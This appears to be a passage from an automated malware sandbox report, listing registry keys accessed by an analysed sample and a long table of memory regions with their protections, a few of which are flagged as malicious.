HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage
ProductNonBootFilesIntl_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage
EquationEditorFilesIntl_1033
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
HKEY_CURRENT_USER\Software\shietgtst-A57Q98
exepath
HKEY_CURRENT_USER\Software\shietgtst-A57Q98
licence
HKEY_CURRENT_USER\Software\shietgtst-A57Q98
time
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage
EquationEditorFilesIntl_1033
There are 333 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
77B5000
direct allocation
page execute and read and write
malicious
5B1000
heap
page read and write
malicious
400000
remote allocation
page execute and read and write
malicious
4148000
trusted library allocation
page read and write
malicious
623000
heap
page read and write
4E5D000
stack
page read and write
4C71000
heap
page read and write
10000
heap
page read and write
34C0000
heap
page read and write
82D1000
trusted library allocation
page read and write
2D9A000
heap
page read and write
280000
heap
page read and write
2D01000
heap
page read and write
EC0000
heap
page read and write
44F000
stack
page read and write
23FE000
stack
page read and write
36E0000
heap
page read and write
42D000
heap
page read and write
3E10000
trusted library allocation
page read and write
4C50000
heap
page read and write
429000
heap
page read and write
2D4B000
heap
page read and write
610000
heap
page read and write
4F40000
heap
page read and write
4BB000
heap
page read and write
C9A000
stack
page read and write
5E6E000
stack
page read and write | page guard
2F27000
heap
page read and write
10000000
direct allocation
page read and write
57E000
heap
page read and write
298E000
stack
page read and write
2489000
trusted library allocation
page read and write
1E80000
direct allocation
page read and write
EF0000
trusted library allocation
page execute and read and write
8231000
trusted library allocation
page read and write
3AE000
stack
page read and write
DB0000
trusted library allocation
page read and write
4C88000
heap
page read and write
BB000
stack
page read and write
23B0000
trusted library allocation
page read and write
2F23000
heap
page read and write
10000
heap
page read and write
2CC000
stack
page read and write
1B0000
heap
page read and write
2D95000
heap
page read and write
48DE000
stack
page read and write
3859000
trusted library allocation
page read and write
2282000
trusted library allocation
page read and write
4B9E000
stack
page read and write | page guard
499000
heap
page read and write
44FE000
stack
page read and write
557000
heap
page read and write
497000
heap
page read and write
4A60000
trusted library allocation
page read and write
483E000
stack
page read and write
18C000
stack
page read and write
4B9E000
stack
page read and write
4AAF000
stack
page read and write
230000
heap
page read and write
2F70000
heap
page read and write
2D2E000
stack
page read and write
37EF000
heap
page read and write
24DD000
heap
page read and write
2D41000
trusted library allocation
page read and write
3101000
trusted library allocation
page read and write
24FD000
heap
page read and write
4F60000
heap
page read and write
9A0000
heap
page read and write
610000
trusted library allocation
page read and write
600000
heap
page read and write
CD0000
trusted library allocation
page read and write
9B0000
heap
page read and write
42B1000
heap
page read and write
27CB000
trusted library allocation
page read and write
4C2000
heap
page read and write
52F000
heap
page read and write
264B000
trusted library allocation
page read and write
5BD0000
heap
page read and write
2E2B000
trusted library allocation
page read and write
50AF000
heap
page read and write
4BB000
heap
page read and write
616000
heap
page read and write
460000
trusted library allocation
page read and write
4C4000
heap
page read and write
5D4F000
stack
page read and write
2434000
heap
page read and write
317E000
stack
page read and write
24F6000
heap
page read and write
47F0000
trusted library allocation
page execute and read and write
2C44000
heap
page read and write
24E2000
heap
page read and write
4FD0000
heap
page read and write
82CF000
trusted library allocation
page read and write
401F000
stack
page read and write
33C000
stack
page read and write
57B000
heap
page read and write
830000
heap
page read and write
2B19000
trusted library allocation
page read and write
F0000
heap
page read and write
4734000
heap
page execute and read and write
36AD000
stack
page read and write
2100000
trusted library allocation
page read and write
504E000
stack
page read and write
7C9000
trusted library allocation
page read and write
39D0000
heap
page read and write
442E000
stack
page read and write
770000
trusted library allocation
page read and write
5097000
heap
page read and write
5CAE000
stack
page read and write
2FAB000
heap
page read and write
4A6D000
trusted library allocation
page read and write
62A000
heap
page read and write
4F0E000
stack
page read and write
241B000
trusted library allocation
page read and write
800000
heap
page read and write
4AEE000
stack
page read and write
D58000
heap
page read and write
24DE000
heap
page read and write
2CF5000
heap
page read and write
400000
system
page execute and read and write
2D16000
heap
page read and write
10AE000
stack
page read and write
216F000
stack
page read and write
51B0000
heap
page read and write
ED1000
heap
page read and write
28A6000
trusted library allocation
page read and write
3F1F000
stack
page read and write
4BE0000
trusted library allocation
page read and write
470E000
stack
page read and write
1F30000
trusted library allocation
page read and write
4ACE000
stack
page read and write
2CDD000
heap
page read and write
4F2C000
heap
page read and write
6630000
heap
page read and write
2D8E000
heap
page read and write
1FFE000
stack
page read and write
240000
trusted library allocation
page read and write
866000
heap
page read and write
24FD000
heap
page read and write
350000
trusted library allocation
page read and write
287000
heap
page read and write
1B0000
trusted library allocation
page read and write
3770000
heap
page read and write
4A04000
heap
page read and write
5B7000
heap
page read and write
3E10000
trusted library allocation
page read and write
4D41000
heap
page read and write
1F1E000
stack
page read and write | page guard
88000
stack
page read and write
2D7B000
heap
page read and write
F9000
heap
page read and write
5C5000
heap
page read and write
7C0000
trusted library allocation
page read and write
492000
heap
page read and write
5CF0000
heap
page read and write
62A000
heap
page read and write
51B4000
heap
page read and write
8D0000
trusted library allocation
page read and write
510000
heap
page read and write
E80000
trusted library allocation
page read and write
2CEB000
heap
page read and write
5F6F000
stack
page read and write
1C3000
trusted library allocation
page execute and read and write
40F000
stack
page read and write
667000
heap
page read and write
2F94000
heap
page read and write
5D1E000
stack
page read and write
10000
heap
page read and write
500E000
heap
page read and write
5ECE000
stack
page read and write
22E5000
trusted library allocation
page read and write
709000
heap
page read and write
3511000
trusted library allocation
page read and write
23CB000
trusted library allocation
page read and write
6B0000
heap
page read and write
AF0000
heap
page read and write
2EB1000
heap
page read and write
2260000
trusted library allocation
page execute and read and write
2B9000
trusted library allocation
page read and write
4710000
heap
page execute and read and write
131E000
stack
page read and write
49F000
heap
page read and write
150000
remote allocation
page read and write
3900000
heap
page read and write
E0000
trusted library allocation
page read and write
A60000
heap
page read and write
4430000
trusted library allocation
page execute and read and write
4620000
trusted library allocation
page read and write
6230000
trusted library section
page read and write
F8000
heap
page read and write
4280000
trusted library allocation
page read and write
F9F000
stack
page read and write
230000
trusted library allocation
page read and write
4F47000
heap
page read and write
2E5F000
stack
page read and write
4A9D000
stack
page read and write
5C5F000
stack
page read and write
2D60000
heap
page read and write
EA0000
trusted library allocation
page read and write
4250000
heap
page read and write
4C2000
heap
page read and write
62ED000
stack
page read and write
300000
trusted library allocation
page execute and read and write
2D6F000
heap
page read and write
60BD000
stack
page read and write
12AE000
stack
page read and write
82D5000
trusted library allocation
page read and write
2F92000
heap
page read and write
1EE0000
heap
page read and write
1BB000
stack
page read and write
507E000
heap
page read and write
6B9000
heap
page read and write
4FA0000
heap
page read and write
520000
trusted library allocation
page read and write
5B0000
trusted library allocation
page read and write
2BBF000
stack
page read and write
4C2000
heap
page read and write
1E3E000
stack
page read and write
115E000
stack
page read and write
4050000
heap
page read and write
104F000
stack
page read and write
6C6000
heap
page read and write
140000
heap
page read and write
2FFE000
heap
page read and write
620000
heap
page read and write
2BB000
heap
page read and write
3B5E000
stack
page read and write
2D1E000
heap
page read and write
478000
remote allocation
page execute and read and write
2C18000
heap
page read and write
880000
trusted library allocation
page read and write
2F6D000
stack
page read and write
EA8000
heap
page read and write
3B0000
direct allocation
page read and write
5BF2000
heap
page read and write
3DDF000
stack
page read and write
2EB0000
heap
page read and write
51D2000
heap
page read and write
B12000
heap
page read and write
4F80000
heap
page read and write
1E1F000
stack
page read and write
2A00000
trusted library allocation
page read and write
FDE000
stack
page read and write
10000
heap
page read and write
ED000
stack
page read and write
5E3000
heap
page read and write
3E0000
heap
page read and write
5C9E000
stack
page read and write
450000
trusted library allocation
page execute and read and write
5C9000
heap
page read and write
E3000
trusted library allocation
page execute and read and write
2DC0000
heap
page read and write
31E000
stack
page read and write | page guard
127000
stack
page read and write
4280000
trusted library allocation
page read and write
2CF2000
heap
page read and write
3EA000
heap
page read and write
180000
heap
page read and write
22A000
trusted library allocation
page execute and read and write
41F000
system
page execute and read and write
3AC000
stack
page read and write
4D24000
heap
page read and write
4ECE000
stack
page read and write | page guard
2D26000
heap
page read and write
2BEF000
stack
page read and write
2D44000
heap
page read and write
3B3D000
stack
page read and write
8DF000
stack
page read and write
2BFE000
stack
page read and write
697000
heap
page read and write
50CE000
heap
page read and write
347000
stack
page read and write
5BEE000
stack
page read and write
3A0000
direct allocation
page read and write
289E000
stack
page read and write
3A25000
heap
page read and write
1EDE000
stack
page read and write
530000
heap
page read and write
577000
heap
page read and write
1CD000
trusted library allocation
page execute and read and write
BC000
stack
page read and write
E90000
trusted library allocation
page read and write
9F000
heap
page read and write
492000
heap
page read and write
41D0000
heap
page read and write
32E000
stack
page read and write
4AC000
heap
page read and write
60D000
heap
page read and write
60FC000
stack
page read and write
1FB0000
trusted library allocation
page read and write
9C000
heap
page read and write
603E000
stack
page read and write
2A5000
heap
page read and write
5B38000
stack
page read and write
625000
heap
page read and write
2CEC000
heap
page read and write
24F9000
heap
page read and write
32B8000
heap
page read and write
38000
heap
page read and write
299000
heap
page read and write
83E000
stack
page read and write
48FD000
heap
page read and write
C30000
heap
page read and write
62F000
heap
page read and write
B33000
heap
page read and write
2262000
heap
page read and write
4C00000
trusted library allocation
page read and write
4A4E000
stack
page read and write
2C14000
heap
page read and write
7C7000
trusted library allocation
page read and write
3C9000
trusted library allocation
page read and write
232000
trusted library allocation
page read and write
18A000
stack
page read and write
4C8000
heap
page read and write
DCF000
stack
page read and write
2D0D000
heap
page read and write
121E000
stack
page read and write
61BE000
stack
page read and write
20B2000
trusted library allocation
page read and write
82FB000
trusted library allocation
page read and write
4C4F000
stack
page read and write
F50000
trusted library allocation
page read and write
66F000
heap
page read and write
90000
heap
page read and write
2D50000
heap
page read and write
53F000
heap
page read and write
2060000
heap
page execute and read and write
490000
heap
page read and write
4FB6000
heap
page read and write
5DB000
heap
page read and write
407000
heap
page read and write
4FCD000
stack
page read and write
910000
heap
page read and write
595000
heap
page read and write
93D000
heap
page read and write
35FF000
stack
page read and write
56D000
stack
page read and write
24EE000
heap
page read and write
26CF000
stack
page read and write
240000
heap
page read and write
5C4E000
stack
page read and write
2C4B000
heap
page read and write
4E0B000
stack
page read and write
6810000
heap
page read and write
8314000
trusted library allocation
page read and write
577000
heap
page read and write
13A000
trusted library allocation
page read and write
20000
heap
page read and write
517000
heap
page read and write
2D88000
heap
page read and write
24C0000
heap
page read and write
523B000
stack
page read and write
24BE000
stack
page read and write
83E000
stack
page read and write
2F28000
heap
page read and write
6280000
heap
page read and write
2D48000
heap
page read and write
2CCC000
stack
page read and write
2E8000
trusted library allocation
page read and write
1D50000
heap
page read and write
2511000
trusted library allocation
page read and write
320000
heap
page read and write
2E3A000
trusted library allocation
page read and write
4210000
trusted library allocation
page read and write
60D000
heap
page read and write
50C0000
heap
page read and write
1DA0000
direct allocation
page read and write
5B0000
trusted library allocation
page read and write
205000
trusted library allocation
page execute and read and write
41B000
system
page execute and read and write
584000
heap
page read and write
313F000
trusted library allocation
page read and write
4CA000
heap
page read and write
500E000
heap
page read and write
2FCE000
unkown
page read and write
459000
system
page execute and read and write
D0000
trusted library allocation
page read and write
2C10000
heap
page read and write
2CDE000
heap
page read and write
C2E000
stack
page read and write
2FAD000
heap
page read and write
24E5000
heap
page read and write
2120000
heap
page read and write
2FC000
stack
page read and write
1A0000
trusted library section
page read and write
1D4000
stack
page read and write
49D000
heap
page read and write
5A0000
trusted library allocation
page read and write
5F4000
heap
page read and write
2B0000
trusted library allocation
page read and write
F0000
heap
page read and write
1B0000
trusted library allocation
page read and write
2CF6000
heap
page read and write
225E000
stack
page read and write
2CE2000
heap
page read and write
3D7000
heap
page read and write
9E0000
heap
page read and write
4C2000
heap
page read and write
741000
heap
page read and write
8B0000
heap
page read and write
390000
direct allocation
page execute and read and write
302B000
heap
page read and write
3309000
trusted library allocation
page read and write
3AE000
stack
page read and write
4A5000
heap
page read and write
4F24000
heap
page read and write
4280000
trusted library allocation
page read and write
44A0000
trusted library allocation
page read and write
AB0000
heap
page read and write
45D000
system
page execute and read and write
33FF000
stack
page read and write
3679000
trusted library allocation
page read and write
2E0000
trusted library allocation
page read and write
3C3D000
stack
page read and write
24FD000
heap
page read and write
280000
heap
page read and write
DA0000
trusted library allocation
page read and write
5DBE000
stack
page read and write
456000
system
page execute and read and write
3C7000
trusted library allocation
page read and write
4490000
trusted library allocation
page read and write
2F9A000
heap
page read and write
603000
heap
page read and write
2430000
heap
page read and write
1CF000
stack
page read and write
37B0000
heap
page read and write
604000
heap
page read and write
2D2B000
heap
page read and write
20B0000
trusted library allocation
page read and write
459E000
stack
page read and write
5D12000
heap
page read and write
5D6E000
stack
page read and write
4280000
trusted library allocation
page read and write
4BA000
heap
page read and write
4B0000
heap
page read and write
4506000
heap
page execute and read and write
2D85000
heap
page read and write
41D000
heap
page read and write
2CC0000
heap
page read and write
500000
heap
page read and write
4CF000
stack
page read and write
4716000
heap
page execute and read and write
2CF000
heap
page read and write
4B5E000
stack
page read and write
2474000
trusted library allocation
page read and write
2C48000
heap
page read and write
E3F000
stack
page read and write
60D000
heap
page read and write
247B000
trusted library allocation
page read and write
1E90000
heap
page execute and read and write
67A000
heap
page read and write
920000
heap
page read and write
284000
heap
page read and write
524000
heap
page read and write
E4000
trusted library allocation
page read and write
2F75000
heap
page read and write
4D0000
heap
page read and write
46AE000
stack
page read and write
1DA000
trusted library allocation
page read and write
1D54000
heap
page read and write
49F000
heap
page read and write
66F000
heap
page read and write
260000
trusted library allocation
page read and write
2244000
heap
page read and write
ECE000
stack
page read and write
2B0000
trusted library allocation
page read and write
2F74000
heap
page read and write
5045000
heap
page read and write
2B00000
trusted library allocation
page read and write
2E60000
heap
page read and write
2F9A000
heap
page read and write
2FAC000
heap
page read and write
20000
heap
page read and write
128E000
stack
page read and write
3A2A000
heap
page read and write
2070000
trusted library allocation
page read and write
62A000
heap
page read and write
30DE000
stack
page read and write
10016000
direct allocation
page execute and read and write
4280000
trusted library allocation
page read and write
2D2E000
heap
page read and write
405000
heap
page read and write
254F000
trusted library allocation
page read and write
F4F000
stack
page read and write
2D7E000
stack
page read and write
2D88000
heap
page read and write
5D8E000
stack
page read and write
2F96000
heap
page read and write
4210000
trusted library allocation
page read and write
1E1D000
stack
page read and write
5ED0000
heap
page read and write
540000
trusted library allocation
page read and write
293F000
stack
page read and write
2431000
trusted library allocation
page read and write
3672000
trusted library allocation
page read and write
2F15000
heap
page read and write
3CCF000
stack
page read and write
268000
trusted library allocation
page read and write
37CD000
heap
page read and write
49D000
heap
page read and write
2B0000
heap
page read and write
1E70000
heap
page read and write
2F17000
heap
page read and write
2280000
trusted library allocation
page read and write
150000
remote allocation
page read and write
5B6000
heap
page read and write
9FE000
heap
page read and write
82D3000
trusted library allocation
page read and write
4280000
trusted library allocation
page read and write
6B6000
heap
page read and write
41C000
heap
page read and write
2FF000
stack
page read and write
5C1000
heap
page read and write
F7000
heap
page read and write
2F71000
heap
page read and write
24FD000
heap
page read and write
4BB000
heap
page read and write
26A000
trusted library allocation
page execute and read and write
590000
trusted library allocation
page read and write
4280000
trusted library allocation
page read and write
28D2000
trusted library allocation
page read and write
4A1000
heap
page read and write
6040000
heap
page read and write
23C3000
trusted library allocation
page read and write
640D000
stack
page read and write
625000
heap
page read and write
60F000
heap
page read and write
289A000
trusted library allocation
page read and write
2320000
trusted library allocation
page read and write
22E1000
trusted library allocation
page read and write
3A3F000
stack
page read and write
1F40000
trusted library allocation
page read and write
5DEE000
stack
page read and write
4840000
trusted library allocation
page read and write
F9000
heap
page read and write
37CF000
stack
page read and write
4F00000
heap
page read and write
2D12000
heap
page read and write
2FBE000
heap
page read and write
22A0000
heap
page execute and read and write
2A0000
trusted library allocation
page read and write
1F90000
trusted library allocation
page read and write
62A000
heap
page read and write
2D9E000
heap
page read and write
202000
trusted library allocation
page read and write
B0D000
heap
page read and write
4280000
trusted library allocation
page read and write
62C0000
direct allocation
page execute and read and write
3317000
trusted library allocation
page read and write
245F000
stack
page read and write
10000
heap
page read and write
4CDE000
stack
page read and write
625000
heap
page read and write
473000
system
page execute and read and write
2F99000
heap
page read and write
6431000
heap
page read and write
1E60000
heap
page read and write
24DE000
heap
page read and write
80E000
stack
page read and write
39A1000
heap
page read and write
20B000
stack
page read and write
3D0000
heap
page read and write
5CB7000
stack
page read and write
6351000
trusted library allocation
page read and write
23C7000
trusted library allocation
page read and write
400000
system
page execute and read and write
4D9000
heap
page read and write
31F000
stack
page read and write
492000
heap
page read and write
8F0000
heap
page read and write
20C0000
heap
page read and write
2D06000
heap
page read and write
2B7000
trusted library allocation
page read and write
2010000
trusted library allocation
page execute and read and write
FD000
heap
page read and write
1F80000
trusted library allocation
page read and write
2290000
trusted library allocation
page execute and read and write
3D0000
heap
page read and write
5BD4000
heap
page read and write
5160000
trusted library allocation
page execute and read and write
2BC000
heap
page read and write
2101000
trusted library allocation
page read and write
600000
trusted library allocation
page read and write
C50000
trusted library allocation
page read and write
2D79000
trusted library allocation
page read and write
4B10000
trusted library allocation
page read and write
4F51000
heap
page read and write
65C000
heap
page read and write
5A0000
trusted library allocation
page read and write
1DCE000
stack
page read and write
3E7000
heap
page read and write
1D2000
stack
page read and write
139E000
stack
page read and write
497000
heap
page read and write
DCE000
stack
page read and write
67A0000
heap
page read and write
4E7E000
stack
page read and write
60E000
stack
page read and write
24CE000
stack
page read and write
30000
heap
page read and write
97000
heap
page read and write
4A00000
heap
page read and write
2D63000
heap
page read and write
31B9000
heap
page read and write
A09000
heap
page read and write
AB0000
heap
page read and write
3129000
trusted library allocation
page read and write
237F000
stack
page read and write
4AAE000
stack
page read and write | page guard
8327000
trusted library allocation
page read and write
1D7E000
stack
page read and write
290000
heap
page read and write
1C0000
heap
page read and write
63B5000
direct allocation
page execute and read and write
4B9F000
stack
page read and write
10000
heap
page read and write
BC000
stack
page read and write
2FB0000
trusted library allocation
page read and write
280000
trusted library allocation
page execute and read and write
82D7000
trusted library allocation
page read and write
2AC000
stack
page read and write
CE0000
trusted library allocation
page read and write
3EDF000
stack
page read and write
2A2000
heap
page read and write
2CF6000
heap
page read and write
860000
trusted library allocation
page read and write
2F7C000
heap
page read and write
2D19000
heap
page read and write
302A000
heap
page read and write
4C54000
heap
page read and write
232000
trusted library allocation
page read and write
4A50000
trusted library allocation
page read and write
36C0000
heap
page read and write
4F26000
heap
page read and write
38EC000
stack
page read and write
8B6000
heap
page read and write
1FCE000
stack
page read and write
10000
heap
page read and write
436000
heap
page read and write
4AFE000
stack
page read and write
2F1B000
heap
page read and write
4A2E000
stack
page read and write
50D000
stack
page read and write
2B5000
heap
page read and write
890000
trusted library allocation
page read and write
317C000
trusted library allocation
page read and write
1A0000
trusted library section
page read and write
735000
heap
page read and write
2240000
heap
page read and write
4280000
trusted library allocation
page read and write
1C0000
trusted library allocation
page read and write
6420000
heap
page read and write
10000
heap
page read and write
3500000
heap
page read and write
3940000
heap
page read and write
4F20000
heap
page read and write
38CF000
stack
page read and write
213B000
trusted library allocation
page read and write
2F1B000
heap
page read and write
196000
stack
page read and write
25A000
trusted library allocation
page read and write
2FB0000
trusted library allocation
page read and write
370000
trusted library allocation
page read and write
482000
heap
page read and write
1E0000
heap
page execute and read and write
50B2000
heap
page read and write
38DD000
stack
page read and write
513E000
stack
page read and write
10000
heap
page read and write
3990000
heap
page read and write
2C3F000
stack
page read and write
E3E000
stack
page read and write
732000
heap
page read and write
497000
heap
page read and write
4BA000
heap
page read and write
487000
heap
page read and write
4F05000
heap
page read and write
3E0000
heap
page read and write
530000
heap
page read and write
4D5D000
stack
page read and write
2FA7000
heap
page read and write
45C000
system
page execute and read and write
AAE000
stack
page read and write
2C0000
heap
page read and write
24D000
trusted library allocation
page execute and read and write
507000
heap
page read and write
A4E000
stack
page read and write
567000
heap
page read and write
6DB5000
direct allocation
page execute and read and write
1D72000
heap
page read and write
2B13000
trusted library allocation
page read and write
21E000
heap
page read and write
1FA0000
trusted library allocation
page read and write
530000
trusted library allocation
page execute and read and write
4DA000
heap
page read and write
D51000
heap
page read and write
3058000
heap
page read and write
4A8000
heap
page read and write
2452000
heap
page read and write
480000
heap
page read and write
501E000
heap
page read and write
34BE000
stack
page read and write
6BF000
heap
page read and write
373C000
stack
page read and write
212F000
stack
page read and write
4AE000
stack
page read and write
110000
heap
page read and write
CAE000
stack
page read and write
CC0000
trusted library allocation
page read and write
4280000
trusted library allocation
page read and write
2F7C000
heap
page read and write
235000
trusted library allocation
page execute and read and write
46FE000
stack
page read and write
1D0000
trusted library allocation
page read and write
2B0E000
stack
page read and write
454000
heap
page read and write
23BD000
stack
page read and write
2D19000
heap
page read and write
4AD000
heap
page read and write
634E000
stack
page read and write
1AC000
stack
page read and write
4AC000
heap
page read and write
250000
trusted library allocation
page execute and read and write
3C7F000
stack
page read and write
DFC000
stack
page read and write
1F1F000
stack
page read and write
2CF6000
heap
page read and write
35E000
stack
page read and write
4C2000
heap
page read and write
40D000
heap
page read and write
930000
heap
page read and write
58E000
stack
page read and write
2D88000
trusted library allocation
page read and write
4280000
trusted library allocation
page read and write
2ABE000
stack
page read and write
622D000
stack
page read and write
4C6E000
stack
page read and write
8A0000
trusted library allocation
page read and write
5E8E000
stack
page read and write
3137000
trusted library allocation
page read and write
205F000
stack
page read and write
2EA0000
heap
page read and write
102E000
stack
page read and write
1B6000
stack
page read and write
3CBF000
stack
page read and write
20000
heap
page read and write
CB0000
trusted library allocation
page read and write
5E3E000
stack
page read and write
250F000
trusted library allocation
page read and write
2CFA000
heap
page read and write
24A6000
trusted library allocation
page read and write
7FD000
stack
page read and write
10000
heap
page read and write
323E000
stack
page read and write
488E000
stack
page read and write
4F5A000
heap
page read and write
200000
trusted library allocation
page read and write
1C4000
trusted library allocation
page read and write
421000
heap
page read and write
2C40000
heap
page read and write
315C000
trusted library allocation
page read and write
860000
heap
page read and write
30BE000
stack
page read and write
4D20000
heap
page read and write
4BDE000
stack
page read and write
209000
heap
page read and write
4B4E000
stack
page read and write
4ECF000
stack
page read and write
5D4E000
stack
page read and write | page guard
32E1000
trusted library allocation
page read and write
5F70000
heap
page read and write
537000
heap
page read and write
4B5000
heap
page read and write
57C000
heap
page read and write
1F20000
trusted library allocation
page read and write
C0D000
stack
page read and write
4210000
trusted library allocation
page read and write
2D6C000
heap
page read and write
24E5000
heap
page read and write
3A2B000
heap
page read and write
4AA000
heap
page read and write
300000
heap
page read and write
6800000
heap
page read and write
1FC0000
trusted library allocation
page read and write
C52000
heap
page read and write
566000
heap
page read and write
3E10000
trusted library allocation
page read and write
44E000
stack
page read and write | page guard
2C1B000
heap
page read and write
244000
trusted library allocation
page read and write
474000
remote allocation
page execute and read and write
2110000
trusted library allocation
page read and write
5F6E000
stack
page read and write | page guard
18C000
stack
page read and write
4ED0000
heap
page read and write
40F000
heap
page read and write
3A27000
heap
page read and write
3A28000
heap
page read and write
3C0000
trusted library allocation
page read and write
4BB000
heap
page read and write
570000
heap
page read and write
2D27000
heap
page read and write
2B5000
trusted library allocation
page execute and read and write
55E000
heap
page read and write
7EF20000
trusted library allocation
page execute and read and write
62E000
heap
page read and write
101E000
stack
page read and write
2CE1000
heap
page read and write
367000
stack
page read and write
9E000
heap
page read and write
255F000
stack
page read and write
4DBE000
stack
page read and write
1D80000
trusted library allocation
page read and write
32B0000
heap
page read and write
2D79000
heap
page read and write
625000
heap
page read and write
5F2E000
stack
page read and write
1E9E000
stack
page read and write
2CFA000
trusted library allocation
page read and write
2EB1000
heap
page read and write
4EEB000
heap
page read and write
360000
heap
page read and write
344E000
stack
page read and write
2B2000
trusted library allocation
page read and write
4D9000
heap
page read and write
56E000
heap
page read and write
3140000
heap
page read and write
FCF000
stack
page read and write
4610000
trusted library allocation
page read and write
4280000
trusted library allocation
page read and write
660000
trusted library allocation
page read and write
4FFE000
heap
page read and write
2CBF000
stack
page read and write
61DE000
stack
page read and write
4890000
trusted library allocation
page read and write
5E70000
heap
page read and write
48E0000
heap
page read and write
4D0000
heap
page read and write
2FAB000
heap
page read and write
81B5000
direct allocation
page execute and read and write
5004000
heap
page read and write
666000
heap
page read and write
840000
heap
page read and write
2CEA000
heap
page read and write
C4E000
stack
page read and write
5E7D000
trusted library allocation
page read and write
3600000
heap
page read and write
210000
heap
page read and write
660000
heap
page read and write
628000
heap
page read and write
870000
trusted library allocation
page execute and read and write
5FD000
heap
page read and write
2CE2000
heap
page read and write
5FF000
heap
page read and write
5CB0000
heap
page read and write
560000
heap
page read and write
2D22000
heap
page read and write
4AC000
heap
page read and write
2C3E000
stack
page read and write
4500000
heap
page execute and read and write
4C4E000
stack
page read and write | page guard
223B000
trusted library allocation
page read and write
4280000
trusted library allocation
page read and write
1ED0000
trusted library allocation
page read and write
2875000
trusted library allocation
page read and write
1FE0000
trusted library allocation
page read and write
37F4000
heap
page read and write
378000
stack
page read and write
5AC000
heap
page read and write
2CF6000
heap
page read and write
2CF1000
heap
page read and write
3660000
trusted library allocation
page read and write
29BE000
stack
page read and write
2FEB000
heap
page read and write
554000
heap
page read and write
24F1000
heap
page read and write
5BE000
stack
page read and write
CA0000
trusted library allocation
page read and write
23BA000
trusted library allocation
page read and write
2D7F000
stack
page read and write
C2D000
stack
page read and write
19C000
stack
page read and write
5099000
heap
page read and write
820000
heap
page read and write
360000
heap
page read and write
2CDE000
heap
page read and write
4BF1000
trusted library allocation
page read and write
539000
heap
page read and write
2DAC000
trusted library allocation
page read and write
4A0000
heap
page read and write
508E000
stack
page read and write
4C2000
heap
page read and write
8F9000
heap
page read and write
2D88000
heap
page read and write
2F27000
heap
page read and write
216000
heap
page read and write
2D8D000
heap
page read and write
2F1B000
heap
page read and write
ED000
trusted library allocation
page execute and read and write
67D000
heap
page read and write
4CC000
stack
page read and write
4A68000
trusted library allocation
page read and write
3A25000
heap
page read and write
5CF4000
heap
page read and write
4C0000
heap
page read and write
4440000
trusted library allocation
page read and write
4280000
trusted library allocation
page read and write
890000
heap
page execute and read and write
10001000
direct allocation
page execute and read and write
89000
stack
page read and write
126E000
stack
page read and write
C34000
heap
page read and write
5D5000
heap
page read and write
9A000
heap
page read and write
840000
trusted library allocation
page read and write
5F4000
heap
page read and write
8C000
stack
page read and write
5E6F000
stack
page read and write
4F4D000
heap
page read and write
8E0000
trusted library allocation
page read and write
250000
